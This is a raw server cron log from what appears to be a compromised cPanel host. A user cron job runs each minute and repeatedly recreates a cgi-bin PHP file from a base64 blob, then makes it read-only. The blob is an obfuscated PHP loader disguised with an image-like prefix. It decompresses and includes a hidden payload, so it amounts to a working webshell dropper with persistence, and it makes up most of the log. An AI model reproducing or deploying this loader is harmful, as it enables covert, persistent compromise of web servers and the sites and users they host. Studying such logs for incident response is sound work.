Nov 13 07:22:01 server CROND[7111]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:23:01 server CROND[7964]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:24:01 server CROND[8934]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:25:01 server CROND[9548]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 07:25:01 server CROND[9549]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:25:01 server CROND[9550]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 07:26:01 server CROND[10477]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:27:01 server CROND[11382]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:27:01 server CROND[11383]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 07:28:01 server CROND[12338]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:29:01 server CROND[13199]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:30:01 server CROND[14062]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 07:30:01 server CROND[14063]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 07:30:01 server CROND[14064]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 07:30:01 server CROND[14065]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:31:01 server CROND[14983]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:32:01 server CROND[15836]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:33:01 server CROND[16799]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:34:01 server CROND[17671]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 07:35:01 server CROND[18371]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 07:35:01 server CROND[18372]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 07:35:01 server CROND[18374]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
